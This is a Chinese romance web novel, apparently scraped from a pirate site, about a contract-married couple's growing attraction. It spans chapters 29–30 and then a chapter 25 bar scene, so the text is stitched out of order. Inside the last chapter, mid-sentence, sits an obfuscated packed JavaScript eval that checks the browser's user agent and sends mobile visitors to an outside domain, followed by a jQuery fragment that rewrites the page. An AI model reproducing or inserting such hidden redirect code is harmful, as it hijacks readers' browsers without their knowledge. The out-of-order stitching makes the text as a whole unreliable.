如果是这样，他是不是也该提醒自己，不要再妄想了。 下巴有点瘙痒，邵成章轻轻挠了挠。他看了眼导航，已经下了高速，到家还要半个小时，马上会路过一个商场。 “要不要再进去吃点东西？”他知道今晚沈灼并没有吃饱，还是忍不住关心她。 “太晚了，不吃了。”沈灼说，“不过我没想到你们家氛围还挺严肃的。”沈灼瞥了他一眼，发现他的下巴好像有点不对劲，红了一片，问道：“你的脸怎么了？” “没什么，过敏了。”邵成章淡淡说。 “过敏？！”沈灼转过身子，按开了车顶的小灯，凑上去仔细查看邵成章的情况。 他的下巴有些发红，仔细看似乎是起了小疹子，嘴角也有点肿了。 “你吃什么过敏啊？” “木耳。” “……”沈灼想了想，那好像是她夹给他的，“不是，你知道过敏为什么还要吃啊？” 她不理解。 邵成章说：“作为我太太，你是不是应该知道我对木耳过敏。”所以当着邵家人的面，邵成章只能吃下她递过来的菜品。 “不好意思，我以后会注意的。”沈灼抿起嘴巴，感到抱歉，但又很不服气，“不是，就算我不知道，你就挑在一边不吃就好了啊，难道我给你毒药你也要吃吗？” “你知道是毒药还会让我吃吗？”邵成章反问。 沈灼回答：“那可不一定。” 邵成章笑了下：“说说，我哪里让你不满意？直接本色出演《致命女人》的中国版是吧？” 沈灼也笑了，突然她像是想到了什么，语气里还透着一股兴奋：“如果你出什么意外，那我岂不是你遗产的第一继承人？” 悦澜湾那套房子和这辆卡宴是不是就归她继承了？ 邵成章眯着眼睛，似笑非笑地说：“在我死之前一定会立好遗嘱，绝对按照你的意愿，不会让你占到我的便宜。” 沈灼知道他是拿婚前协议说事，啧啧两声：“你可真是小气啊。” 邵成章抬起手背又蹭蹭下巴，她问：“还痒吗？” “有点。”邵成章点点头。 沈灼直接拿过邵成章正在导航的手机，搜索最近的医院然后定位到那里。 “先去医院看看。”导航重新规划了路线。 “不用，没什么事。” “什么叫没事，过敏严重会导致休克你知不知道？” “你是在担心我吗？” “废话。”沈灼脱口而出，又感觉自己的语气有点着急，往回找补，“毕竟你过敏也有我的原因……” 邵成章心情顿时云拨雾散，嘴角扬了扬，老老实实地跟着导航走了。 医生看了看过敏情况，不算严重，给开了氯雷他定和涂抹的药膏，沈灼又要了一包碘伏棉棒。 上车之后沈灼让他先把药吃了，自己在一旁努力看药膏说明书上的用法剂量和忌口。 “我看看脸。”沈灼收起说明书，塞进药盒里，把药膏拿出来。 邵成章侧着身子，脸正对她，“要现在涂药吗？” “不然呢？”沈灼看他一眼，“还是你能坚持到回家涂？” 邵成章可怜巴巴地望着她：“不能，真的很痒，就这里，这里，还有这里。”说着他还用手指了指位置。 沈灼拧眉瞪着他，“手都没洗还碰。” 邵成章立即收回手。 她取出两只碘伏棉签，冲他招招手：“过来点。” 邵成章抿抿嘴巴，努力压着想要翘起的嘴角，手肘撑在中控台上，整个人向沈灼那边倾过去。他安静地看着沈灼折断棉签的一头，白花花的棉签迅速被碘伏浸湿。 他感到下巴瘙痒，可是感觉瘙痒的地方又不止下巴那一处地方。 沈灼一手捏着棉签，另一只手用虎口卡住他的下巴，固定在一个合适的高度。 两个人的视线相撞，时间像是被暂停了几秒。 还是她先移开了眼睛，看向他红痒的那片皮肤。 她捏着棉签先给他擦拭消毒，然后在一根干净棉签上挤出来一颗黄豆大小的药膏，在下巴和嘴唇周围均匀涂开。 她的视线顺着棉签一点点从他的下巴往上移动，最后停在他的嘴角。 这一幕，似乎似曾相识。 只不过那时候邵成章的下嘴唇还没肿，唇形还很好看，她很想亲。 现在，他的下嘴唇一角已经肿起来了，怎么看怎么滑稽。沈灼多盯了两眼，还是没忍住，低头笑出声。 邵成章也知道自己的嘴巴肿了，他故意道：“怎么样，性不性感？” 突然想起一部喜剧片里，梁影帝顶着肿嘴巴的造型讲的台词，她说：“想要得到女孩子的芳心，一定要靠——” “眼神。”两个人几乎是异口同声。 她越想越觉得画面过于滑稽，笑得控制不住，肩膀直颤，整个人几乎说不出来话了。 “是谁害我这样的？”邵成章看着她笑成这样，无奈道，“我生气了。” “对不起对不起，可是真的……太好笑了，哈哈哈哈……”沈灼笑得眼泪都快出来，说话都带着气音。 邵成章眯了眯眼，忽然伸手在她腰侧轻轻一挠。 “哎——”沈灼猛地一个激灵，那是她最怕痒的地方，“你怎么还搞偷袭啊？” 邵成章抬了抬眉，似笑非笑，“还笑吗？” 沈灼笑着往后缩，邵成章伸出手握住她的手腕，怕她撞到门上他稍微用 力一拉，两个人之间的距离瞬间被压缩。 头顶上是小小顶灯，哪怕就这样的死亡灯光，沈灼都觉得他很好看，除了现在有些煞风景的肿胀的嘴巴。 透过一小片朦胧的光晕，他眼里似乎盛着一整个夜晚的安静。 “我真的没办法这样看你。”沈灼倏地回神，抬手挡住他肿起来的嘴，打破暧昧的气氛。 他握住她的手慢慢移开。 笑意在沈灼脸上渐渐收敛，她感到他的眼神有些变了。不再揶揄调笑，而是静静地沉沉地注视着她。 邵成章的视线从她的眼睛移到嘴巴，好想吻她。 沈灼想说点什么，大脑却是一片空白，什么都说不出口，只能愣愣地看着他。 呼吸一寸寸浅了下去，像被涨潮的海水慢慢浸没，卷入一片情海里。 她意识到，自己好像……真的喜欢上他了。 心跳的轰鸣，视线的慌乱，口水的吞咽，像是不受控制。她回过神来，挣开邵成章的手，坐正看向前方。 “药擦完了……你不是说还有工作吗？赶紧回家吧。”沈灼有些磕巴地说。 “没有工作。”邵成章也退回去，拉开两人之间的距离，“看你想离开，而且，”他指了指下巴，“再晚一会，他们就该发现了。” 沈灼一愣，才惊觉邵家竟然不知道他吃木耳会过敏这件事。就连她今天第一次去，阿姨都会问清楚她的忌口，那这么多年，为什么会不知道呢？ 要么是他们压根不关心他，要么是他从来没说过。 “难道他们不知道你过敏吗？”沈灼还是忍不住问了。 “嗯。在家里我从来不会吃会过敏的东西。”邵成章轻描淡写地说道，“除了今天。”他笑了一下，“所以也没必要说。” 沈灼看着他的笑容，感觉十分苦涩，如果在家里是受重视的孩子，还说什么有没有必要呢。 沈灼心口微微发酸，充满了心疼。 第30章 沈灼很难得的失眠了。 她脑子里乱成一团，不知道怎么面对邵成章，也不知道如何处理这份喜欢。 毕竟，这已经超出了她的感情处理方案。 她只擅长拒绝，不管是在大学里认识的学长，还是工作里接触过的各路同事，一旦对方明示或者她察觉出对方有对她动心思的苗头，她总是能和风细雨般委婉地拒绝，而后当做无事发生，保持分寸和距离。 可邵成章不一样，他不声不响地拉她靠近，却又从不逾矩，让她无法拒绝，也无处可逃。 她本来对自己还很自信，她可以选择喜欢他，也可以不喜欢他，可她发现心动根本不是这么一回事儿。怪不得都说爱是自由意志的沉沦。 但邵成章喜欢她吗……沈灼想了想，还是决定不要自作多情了。 不知道怎么办，事已至此，还是先工作赚钱吧。 在脑子里过了一遍第二天需要处理的工作，没多久，思绪疲倦，她沉沉睡去。 深夜，邵成章悄无声息地推门进来。他在床尾，视线落到熟睡的沈灼身上，她眉眼放松，呼吸绵长。 心里那点被理智死死压着的情绪忽然像裂开了缝。 或许他高估了自己的定力，也低估了沈灼的魅力，他根本控制不了自己，想要的反而越来越多。 想靠近她，想摸摸她的头发，吻她的红唇，搂住她腰间温软的弧度，把她拉进怀里，彻底占为己有。 欲望只会越来越浓，像水浸进布一样，渗入皮肉，渗进骨头。 * 第二天一早，沈灼已经收拾好情绪。 在岛台见到邵成章，她扫了一眼，他的下巴已经恢复正常，正常的寒暄关切两句，吃完早餐她就驱车去公司了。 沈灼收到了黎雅琦的盖章合同，《雾灯》的男主正式签下关司予作为男一号。 她看了下关司予的档期，五月下旬有颁奖典礼，六月上旬带马上要上映的电影参加电影节开幕式，六月底是关司予的生日，前两年关司予生日都在组里，今年关老爷子得知没通告和沈灼下了通知，今年要在家里庆生。到九月入组《雾灯》之前，一直空档。 导演发来硬性要求，让关司予在进组之前考出来开大型货车的B2驾驶证。沈灼查了查相关资料，怎么也得要一个月的时间，她将八月份留出来主要让他练车。 想到上次她拒了《导演请指教》被老板点名，内涵她工作不上心，她就想翻白眼，她。 下午关司予来公司试妆，准备红毯造型。他不算是大众熟脸，沈灼和造型师商量的是走低调路线。 在化妆的间隙，沈灼和关司予介绍了她在朋友圈刷到的一则组讯。 是个网剧，但平台评估为S＋项目，主创团队是之前一个爆款悬疑剧的原班人马，制作这方面不用担心。人物小传里有个角色还挺有意思，表面风流贵公子实际上是个深情大情种，沈灼觉得他可以试试。 虽然这种组讯发出来的角色大概都是男五号开外了，戏份不多，但这两年他接的角色都是低层小人物形象，有些过于固定了。 关司予听完沈灼的分析之后，抬眼从镜子里看向她，几乎没有思考就点点头应声说可以接。 沈灼差点以为自己听错了，她没想到关司予会答应的如此爽快，她甚至做好了被拒绝的打算，因为关司予曾经说只拍电影。 “怎么这次答应的这么快？”沈灼问。 “为了谢谢你帮我拿到了《雾灯》的男主角。”关司予冲着她，眨了眨那双看谁都深情的桃花眼，“而且我很相信你。” 沈灼切了声，但却感到很受用。 在这现实的行业里，名利起伏人心难测，不过也正因为如此，那些彼此信任的搭档关系才显得尤为珍贵。 “行，那我去跟casting联系一下。”她笑着站起身，语气轻快。 沈灼给演员副导发了微信，没一会儿对方就打了语音过来，确定关司予是不是真的要参与演出。对剧组来说，戛纳提名影帝来演小配角这简直是锦上添花如虎添翼。 沈灼和对方聊了聊，主演是都是有口碑的老戏骨和演技派，片酬也没什么太大的问题，她只要求将关司予的戏份集中，尽量往前安排，在八月之前全部拍完，对方爽快答应。 谈妥之后沈灼回到化妆间，这时候关司予的妆造和发型也做得差不多了。 造型师借来了两款当季的新品成衣西装，一套是迪奥的黑色暗纹面料拼接缎面领的修身西装，胸前加了一个亮闪的胸针，驳头偏窄，将宽肩细腰十分明显的展示出来。另一套是LV的黑色套装，搭配一个银色领带夹是亮点。 沈灼很满意，这两个品牌是她中意且符合关司予风格调性的高奢，之后她要争取给关司予拿下其中一个的合作。 两次红毯的妆造主打借势营销，之后再和品牌合作会比较好谈。 定完造型，沈灼去了宣传组，和总监Nadia一起开了个小会，着重讨论关司予红毯造型和新影片的宣传方向，以及时尚杂志安排。 进入五月，太阳像是不舍得落下，白日一点点延长，连带着工作时间都悄悄地被拉长了，沈灼走出办公楼已经九点多了。 邵成章比她早到家，正坐在单人沙发上看书，沈灼和他打了声招呼后转身走向卧室。 换了睡衣，沈灼直接仰躺在床上，累了一天，总算能歇口气，她闭着眼睛放松身体，感觉四肢百骸都透着酸软。 “请问我可以进来吗？”邵成章在门外敲门。 “进。”沈灼叹口气，又爬起来，精神涣散地看着邵成章走进来。 “今天工作很累吗？”邵成章问。 沈灼点头：“有点。” “我买了台按摩椅，你要不要去试一 下？还不错。” “啊？”沈灼有点惊讶，“为什么要买按摩椅啊？” 邵成章耸耸肩，一副轻描淡写的语气：“最近腰和背都有点不舒服，可能是地板太硬了吧。” “……”他的意思是怪她让他睡地上了呗？ 沈灼偏不接茬，问他按摩椅在哪，邵成章领着她去了书房。落地窗前，一台全新的智能按摩椅赫然摆在那里，十分醒目。 这是邵成章趁着午休时间临时去商场选购的，晚上品牌直接送货上门并且安装好。 沈灼坐上去，身体陷进柔软的皮面里，整个腰背都贴合着，还挺舒服。 她很少去按摩，除了没时间还有一个原因是她身体比较敏感，不管是腰腿脚还是胳膊大臂内侧，按摩师傅碰一下她就痒，完全放松不了。 一个小时的按摩时间，有一大半时间她都在和师傅肌肉对抗，久而久之她就不去做按摩了，太亏。 邵成章在手机点了几下，按摩椅立刻启动，从肩颈、腰部到臀腿，多个按摩头开始同步运转。 “欸……”按摩头的力道柔中带韧，带着酥酥麻麻的触感。 沈灼身体下意识一抖，没一会儿她就开始喊疼，但她整个人已经被椅子扣住，挣扎着想起来却又被深陷在座椅里动弹不得。 “不行，好痛……”她气息发颤，忍不住低叫出声，“邵成章！” 邵成章忍着笑意按了暂停键。 沈灼下来，呼出一口气，摇摇头道：“我和它，属于有缘无分，无福消受。” 她揉揉肩，捶捶腰，双手扶着脖颈左右活动，听到骨头嘎嘣嘎嘣响，“哎呦我这骨头。” “介意我来吗？” “啊？”沈灼还没反应过来他问的什么，一只大手已经贴在她的脖颈一侧上，另一只手箍着她的脖子。 “哎——”她下意识想躲开。 “别动。”邵成章说着，开始帮她揉起来，“你肌肉紧张，捏起来里面都沙沙响。” 她知道自己的颈椎有毛病。只要长时间工作，她的小拇指和无名指就会发麻，一直麻到胳膊肘。 邵成章从风池穴按到肩井穴，逐渐加大力度，但沈灼不吃劲，还没揉两下就疼的嗷嗷叫。 她缩着脖子，被按压的那边肩膀忍不住往下塌，想着赶紧脱离他的魔爪。 “邵成章，你故意的是不是——哎呀疼疼疼真疼！！！”接着沈灼一声嚎叫，缩着身子央求道：“真的，我求你了，停下停下。” 邵成章似笑非笑，“这才是叫故意的，我刚刚没用劲。” “你手劲儿也太大了。”沈灼怒嗔一句。 邵成章挑着笑：“我不介意你给我按回来。” 沈灼扫他一眼：“想得美。” 邵成章说：“活动活动，感受一下有没有舒服点。” 沈灼转了下右肩膀，似乎确实轻松一点，“好像是有点用欸。” 邵成章哼了声，转身要走，又被沈灼喊住，他转过来挑眉看她。 “那这边呢？” “沈小姐，体验已经结束了，接下来是收费项目了。”邵成章挑挑眉。 沈灼“啧”了声，“邵老板，你这么做生意可不行。将欲取之，必先予之。怎么能这么抠抠搜搜的呢？” 邵成章来了兴趣：“那我想知道我可以‘取’到什么？” 沈灼抿着嘴唇沉思两秒：“要不然，你上床睡？” 这话说出口，沈灼就后悔了。 邵成章问：“可以吗？如果你睡觉不习惯旁边有人，我睡地上也没关系。” 明明知道他在茶言茶语，以退为进，但沈灼却怎么也说不出来“那你就睡地上”这种话了，因为她一点也不排斥他的靠近，反而有点期待。 不过她还是警告邵成章，如果他有什么越线行为，她立即给他踹出去。 * 趁着沈灼洗漱的时间，邵成章拿了他的枕头和被子放到床上。其实床够大，就算两个人躺在一起，中间也能空出一段距离。 沈灼吹完头发回来发现邵成章已经洗漱完毕，正倚靠在床头看手机。 不对吧？这个时候他不应该在工作吗？ “你今晚不用工作吗？”沈灼问。 邵成章摇摇头说：“不用。” “哦。”沈灼想，大概是假期这几天大家改尽兴的也都尽兴了，已经过了需要情趣的高峰期。 但是他在这里，很尴尬啊。 也不能一直站着，她只好上床，开始躺着玩手机。她习惯睡前看看各个平台，尤其是某知名弹幕类app，可以知道观众吐槽或者是磕哪些剧情或者艺人，了解一些大众想法。 首页上的一个电影解读吸引了她，解读的那部电影她看过，看完之后她的评价非常负面，不过沈灼很喜欢看解读，有时候会收获不同的视角。 她点进视频，跳过了内容概括，将进度条拉到了分析部分，没听几句她就皱起了眉头。 “诶，你看过《可怜的东西》这部电影吗？”沈灼随口一问。 邵成章放下手机，说看过。 两个人就着电影聊起来。 沈灼认为将婴儿的大脑放进一个成熟女人的身体里通过性去探索世界，简直是老白男的YY，本质还是对女性的侵犯。 邵成章不可否认，但他也说出了这个影片将主角设置成了一个特殊性，主角选择做妓女的目的大概是为了揭示在婚姻中父权对女性的压迫。 沈灼有些激动，本来平躺着转为侧躺，手撑着脑袋，听完邵成章的观点直接盘腿坐了起来。 沈灼不服，为什么要用一个女人的身体？为什么要过度美化妓女的生活？ 十分男凝。 两个人从性解放谈论到女性主义，从《姐姐妹妹站起来》又跳回到《可怜的东西》，你一言我一语和打辩论似的。 “而且，男人的性就是比女人之间更赤裸，更充满欲望，更让人讨厌，好像谁都可以。” “那你讨厌性吗？” 沈灼讨厌的是只充满欲望的凝视行为，虽然她没有过性体验，但如果是和喜欢的人一起，她并不会拒绝。 她说了自己曾经遭遇的一件事。 那会儿她刚转成执行经纪，跟着艺人在组里呆了小半年，杀青之后演员副导演请她们去泰式按摩。沈灼和副导演的小助理很熟，于是副导演，小助理和她在同一个房间。她先换好按摩服进来，副导演坐在最边上的床位看着沈灼走过去，说了一句“沈灼的小腿可真好看”。 当下的那个瞬间她丝毫不因为被夸奖感到开心，而是感觉自己被冒犯了，被凝视了，被性化了。 邵成章表示理解，他站在沈灼的角度谴责了那个副导演，而后又说：“在社会结构方面，不能否认，男性确实仍是默认的上位者。就算是一个位高权重的女领导，普遍群众可能对她的家庭或者感情更感兴趣，而不是她事业上的成就，本质上还是对女性身份的规训。只能说男女平权依然有很长的路要走。” 沈灼点点头，这是今晚她听的最顺耳的一句话了。 邵成章沉默片刻，忽然侧头看她，目光认真得有些让人不适应：“那我呢？” “嗯？”沈灼怔了怔。 “我有没有让你觉得不舒服？”邵成章盯着她的眼睛，声音低下去一点，带着点不易察觉的紧张，“有没有，什么时候……让你也觉得，被冒犯了。” 她歪了歪头，嘴角轻轻翘起，“如果有的话，我早说了。其实你算我认识的男性里很有分寸感的了。” “没有就好。”邵成章笑了笑。 “几点了呀？”两个人聊了许久，她口干舌燥的，翻身下床去喝水，顺便按亮了手机屏幕看一眼，显示时间 02：39。 “我天，怎么都凌晨两点半多了。”沈灼睁大眼睛，“时间过得这么快吗？” 她震惊地走出去，邵成章盯着她的背影，忍不住笑了。 沈灼喝完水回来时便催促着邵成章赶紧睡觉，可她自己躺下了却睡不着。不是感觉睡衣皱在身下不舒服就是枕头枕得不舒服，总之就是各种睡不着。偏偏邵成章还躺在她另一侧，每次翻身都要小心翼翼的，怕打扰到对方 最终她还是忍不住悄咪咪地虚声问：“邵成章，你睡了吗？”声音不大，可是在安静的环境里还是听的一清二楚。 邵成章睁开眼睛，侧头看向她：“没有。” “完了，我睡不着了。”刚刚聊得太兴奋，沈灼整个人已经嗨了。 邵成章无声地笑着：“怎么办，我也是。” 其实沈灼一直对邵成章的职业蛮好奇的，怎么就想做这行了呢，但由于才聊过相关话题，沈灼便不想再问了。 邵成章侧身过来，脸冲着沈灼，“和我讲讲你们的行业吧？”沈灼讲的经历已经让他对娱乐圈工作人员有偏见了，大部分剧组都是鱼龙混杂。 说到娱乐圈，沈灼可真是打开了话匣子，“哎，我和你说……”她也侧身转过来，开始讲起八卦。 比如谁和谁乱搞，谁背后有金主捧，谁耍大牌她特别讨厌……邵成章默默听着，有时候还和沈灼同仇敌忾，说某某某怎么这样。 时间毫无察觉地悄悄溜走。 “不行了，困了，睡觉吧。”一直将近快四点，沈灼终于打了个哈欠，“再不睡明早真的起不来了。哦不对，是今早。” 两个人相当于熬了个大夜，邵成章开心之余还担心沈灼醒了之后状态不好，会耽误工作，于是连忙说：“嗯，睡吧，我也困了。” 互道晚安之后，沈灼几乎是立即睡着了。邵成章盯着她，眼神流连了好一会儿才缓缓闭上眼睛。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 25. 第 25 章 这时候梁屿琛拿着一瓶没拆包装的麦卡伦过来，问姜珺是不是现在开。姜珺随意一挥，示意他可以。 梁屿琛半蹲在桌旁，慢条斯理地拆开包装盒，又举起来酒瓶展示一番，而后给姜珺和沈灼各倒了一杯。 等他说完请用离开，沈灼立即贴过去，八卦地问：“这不是你喜欢的类型吗？” 姜珺很诚实地点点头，眼睛还追着梁屿琛的背影。 “试试呗。”沈灼说，“这么帅的不谈吃亏。” “这么帅的不谈吃亏~”姜珺模仿着沈灼的语气又重复了一遍，反将一军，“邵成章你不也说帅吗，你也试试呗。” 沈灼撇撇嘴，将鸡尾酒放在桌上，换了刚刚倒的麦卡伦，“你真烦，怎么又说回我了。” 姜珺笑了两下，又忍不住撇过头望了一眼梁屿琛，还真是她的菜，但是直觉告诉她这男人也不是什么好人，玩咖一个。 “帅成这样的会没有女朋友吗？私下不知道花成什么样呢。”姜珺转回头朝着沈灼耸耸肩，“我怕他有病。”姜珺更像是在说服自己。 姜珺虽然谈过很多段恋爱，但对于安全和底线十分坚守，心里有数，沈灼并不担心她。 两个人喝了会儿酒，又开始拍起照来，从自拍到抓拍，拍了足足上百张，才挑出几张准备发朋友圈。 十一点楼下的酒吧夜场已经开始，姜珺想去舞池，沈灼无事可做便陪着她下去。 楼下简直是另一番天地，超强音浪一波波像是直接砸在人的耳膜上，眼花缭乱的光线让人眩晕。两个人相互搀扶着走下超长的楼梯，沈灼已经没有勇气穿着高跟鞋去跳舞了，好在吧台有空座，她一个人坐在那里。 她看着姜珺走进舞池，不禁感叹，她是怎么能穿着12厘米的高跟鞋还能跳起来的，能驯化四肢可能也是一种天赋吧。 沈灼被一款“braveheart”的鸡尾酒吸引住了，造型十分漂亮，整个酒杯被冰包裹着，蓝色的酒体晶莹剔透，尽管是经过改良的版本，调酒师向她说明摇完了也有近70度的度数。 沈灼十分确定要点一杯，她对自己的酒量还是比较有信心的。 一口下去，冰块将酒精味大部分冻住了，入口有些烈但随即而来的是果香味，里面加了百香果糖浆和利口酒，甜甜的。她又忍不住多喝了一口，这也没有什么感觉嘛…… 坐了许久，一杯酒都快喝完了，还不见姜珺回来，她的手机还放在她包里，沈灼看向舞池，想要喊她回来，可是这里实在太吵了，沈灼从高脚椅上滑下来准备去找她。 鞋跟接触地面的瞬间，她感觉眼前所有的一切都晃了起来，她一手扶着椅背，一手扶着额头，脑袋一阵发懵。 沈灼试着深呼吸，她渐渐站直身体，可步伐并不稳。就在她几乎要踉跄那一瞬，一只大手稳稳扶住了她的手臂。 “你喝醉了？”周围的声音很乱很躁，可就像被按住了暂停键一样，沈灼什么也听不见了，这几个字清晰地钻进耳朵，耳边是温热的呼吸，可她下意识一躲，挣开了男人的手。 她用尽力气不满地大喊：“你谁啊？” 邵成章垂眼看着她，有些生气：“你说我是谁？” 沈灼抬起头，眯着眼睛视线才有些许聚焦，她看到了一张熟悉的脸，凌厉又帅气，这个人她认识的，是谁来着？ 半晌，她想起来了，和他笑了下，算是打招呼：“邵成章啊。” 沈灼站不稳，踉踉跄跄的，看的邵成章一顿窝火，梁屿琛到底给沈灼喝什么了？如果不是他及时赶过来，她遇到危险怎么办？！ 正想着呢，梁屿琛就出现在他的视线里，看见邵成章抱着沈灼，他胳膊肘支在吧台上，前倾着身子，凑在邵成章耳边大声喊道：“怎么，过来英雄救美了？” “你给她喝了什么？”邵成章皱着眉问。 梁屿琛看了眼酒杯便知道沈灼点的勇敢的心，这个酒度数相当之高，一般人都不敢轻易尝试，调酒师在点单之前都会先和客人说明，必须客人同意才会制作。 他一瞥沈灼那杯，只剩了个底，冰块渐渐化开冲淡了蓝柑利口酒的颜色，变成了浅浅的天蓝色在杯底。 梁屿琛双手伸开在胸前，“这可不关我的事，是她自己点的。不过这杯酒就当是我请她的，算是见面礼？” 邵成章看沈灼已经闭上眼睛，他懒得再搭理梁屿琛，意简言赅：“沈灼我就先带走了，她朋友一会儿你帮忙送回家。” “啧，没发现你竟然是个重色轻友的人。”梁屿琛失笑道。 邵成章冷哼，似笑非笑地说：“可能近墨者黑了吧，以后离你远点。” 他把外套搭在身上，单臂一展几乎将沈灼整个人搂住，扶着她往外走。从嘈杂的酒吧里出来，沈灼感觉整个世界突然安静了，此刻接近凌晨的夜还有凉意，风一吹她清醒不少。 邵成章非常霸道的将车停在‘渡’的门口，没几步就走到车旁，他单手扶住沈灼，另一只手拉开副驾驶的门。 “上车吧。” 没想到沈灼伸出手，啪的一声把车门又关上了。 动作太大，她整个人一晃，踉跄了两步，手只好撑在车窗上保持身体的平衡，站稳之后，她微微侧身，将后背抵在车门上，双手抱胸，长发滑落在肩头，迷离地看着他。 “我问你……”她歪着头，指尖轻轻摇晃着，睫毛轻颤，眼睛半闭又睁开，眸光离散得像春夜里未散尽的雾气。 “你醉了，有什么明天再说，嗯？”邵成章不知道为什么，她好像一副对他兴师问罪的样子。 “没，我没醉。”沈灼忽然挥挥手，身子一歪，几乎要倒。邵成章赶紧上前一步，扶住她。 “你想问什么？”他有些无奈，却又忍不住盯着她。目光一寸寸落在她红润的脸颊、泛光的唇角，还有若有似无的香气，混着淡淡的花香和酒味的味道，直往他鼻腔里钻。 “你前几天是不是骗我，你没出差。”沈灼不带疑问，更像是在陈述一个事实。 “嗯，没有。”邵成章对他的‘罪行’承认的很快。 “为什么要骗我？”沈灼挑眉，她很想厉声质问，可现在完全提不起力气，声音都软软的，“这样很讨厌。” 邵成章沉默了，嘴角抿起一条线，垂着眼，避开她的眼睛。 “干嘛不说话？”明明是质问，可她的声音轻飘飘的，带着醉酒后的黏软，像一根沾了水的羽毛挠过邵成章的心，酥酥痒痒。 沈灼突然动了动，重心全倚在车门上，随意交叠的长腿轻轻抬起，黑色高跟鞋的鞋尖暧昧地碰了碰他的裤腿，动作若有似无，带着醉意的小挑衅。 西裤随着动作轻微晃动，不小心蹭到小腿，那一点细微触感瞬间窜上了他的心头。 邵成章喉结轻滚。 “……抱歉。”他低声开口，语调有些哑，“以为我不在，你会舒服一点。想让你在家自在……” 不想你总想着离开。 后半句，他到底没敢说出口，只在心里默默吞下。 沈灼忽然笑了，眸光如水波漾开，春夜月色都温柔了，她的唇角带着点坏心思地勾起：“哦……原来你骗我是为了我啊？” 她笑的时候，外套向后滑了些，身子稍微弓起来，好看的锁骨连着细长的脖颈，凹出来一个深深的锁骨窝。 邵成章心跳猛地漏了一拍，喉结滚了滚，连目光都不敢落在她裸露的锁骨上，只能盯着她额前的碎发，努力控制呼吸。 夜风穿过，吹动路边的月季轻轻摇曳。春夜里，暧昧像水一样漫上来，灌进两人的呼吸之间。 沈灼的思绪清醒不过这么一会儿，马上她又感觉头晕，最终还是被邵成章塞进了车里。在上车之前，她还没忘姜珺，邵成章和她保证，有人送姜珺回家。 摇摇晃晃，起起伏伏，晕晕乎乎，沈灼感觉自己好像在坐旋转飞椅，她扶着额头抵在车窗上，好晕，还有点想吐。好在这里离着悦澜湾不远。 邵成章开进地下停车场，接连经过两个减速带，车子颠簸得沈灼没撑住，脑袋直接磕在车窗上，发出响亮的一声“砰”。 他忍着笑问她有没有事。 沈灼瞪他一眼，“你故意的吧。” “我故意什么了？”邵成章笑着说。 “你故意不提醒我。”沈灼揉揉额头，还有点疼的。 车子停好，邵成章下车帮她拉开车门，沈灼扶着车门颤颤巍巍地站起来，又低头看了一眼自己的鞋，“太难穿了。” 沈灼嘟囔着而后直接踢掉了，赤脚踩在地上，脚底有一种踩实了的踏实感。 邵成章看着打赤脚的沈灼突然乐了，“鞋子不要了？” “不要了！”沈灼挥挥手，“简直是刑具。” 邵成章低声笑着，弯腰将散落两边的高跟鞋捡了起来跟在她身后。 沈灼走了几米远突然停住，她又转身往回走，“啊不能扔，那鞋子死贵死贵的……” 邵成章又被她逗乐了，晃了晃手里勾着的那双萝卜丁，“没扔。” 沈灼脱下高跟鞋又矮他一截，她扬脸的弧度比刚刚要大，盯着他的脸她忽然嘿黑一笑，“谢谢你了。” 显然是醉了，她的路线都是S型，整个人摇摇摆摆的，邵成章跟在她身后，时不时还要扶她一下。 进门之前，沈灼刚要穿拖鞋，又顿住了，“哎，我脚脏了。” 怎么喝醉了还能想到这个问题啊，邵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15721147|171859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成章掐腰看着沈灼，被她可爱笑了。 “那怎么办，能抱你去洗手间吗？”邵成章问。 “不要。”沈灼下意识拒绝。 “抱你去洗手间还是帮你在门口擦干净。” 沈灼低头看着自己并在一起的双脚，勾了勾脚趾，用那点所剩无几的清醒意识想了几秒后，慢吞吞地说：“那还是抱着吧，麻烦你了。” 她重重地点头道谢，幅度有些大，不知道的还以为她在鞠躬，“不过我还挺沉的——哎！” 她话还没说完就被他打横抱起来，进来的时候邵成章的腿一勾将电子门带上了。 “轻而易举。” 她到底是怎么会认为他抱不动她的？！又不是没见过他的身材。 听到头顶传来的声音，沈灼只是“哦”了声，她头一歪，正好靠在他的肩膀上。 邵成章走得很稳，他抱着沈灼进了洗手间，将她放在洗漱台上坐着，他转身取下花洒，打开水流，调成温热。 沈灼很自觉地抬腿勾起脚，她的脚是细长型的，几乎没有多余的赘肉。穿上高跟鞋，青色的血管和肌腱会微微凸起，漂亮又性感。 细密的水珠顺着脚掌一路滑下，冲刷过脚心时，痒痒的触感让她脚指头微微蜷了蜷，勾起脚背，下意识躲避那股痒意。 “别动。”邵成章单手轻轻握住她的脚踝，手掌温热，带着让人悸动的温度。 “痒……”她又忍不住轻轻扭了扭，缩着脚笑了一下，带着点醉意的软嗔：“你别冲脚心……” 可邵成章就像是故意的，明明可以很快冲掉灰渍，可他又像是被设置成了慢动作，沈灼忍不住往后缩，又被他握住脚踝动弹不得，整个脚背都被刺激地绷直了。 沉默之间，是淅沥沥的流水声和克制之下的欲望。 冲洗一会儿，邵成章拿了一条干净的毛巾，见他半蹲下，沈灼倏地将脚往后一收，他半举着的手没握住她的脚踝，落了空。 “我自己可以。”沈灼半醉半清醒，垂眼望向那双盯着自己的深邃眼睛，几秒之后她又感觉头晕乎乎的。 她滑下来，拿过毛巾铺在一块没被淋湿的地面上，跨了一步踩上去随意地蹭了蹭。当她抬头时，发现邵成章已经起身站在她的身旁，她的视线正好落在他的喉结上。 她盯了一会儿，突然开口：“邵成章，我想试试。”视线从凸起的喉结移到他的嘴唇上，气息却是喷薄在他的脖颈上。 “试什么？”邵成章垂眼看下来。 四目相对，邵成章的脸变得更近更清晰了。他的五官比例很好，浓眉之下一双略微狭长的眼睛，鼻梁高挺，十分优越地撑起了整张脸。 可以亲他吗？她会排斥吗？ 在衡量这个想法可行性的时候，沈灼已经屏蔽了大脑思考，身体力行地踮脚贴了上去，很轻很轻地在他的嘴唇碰了一下。 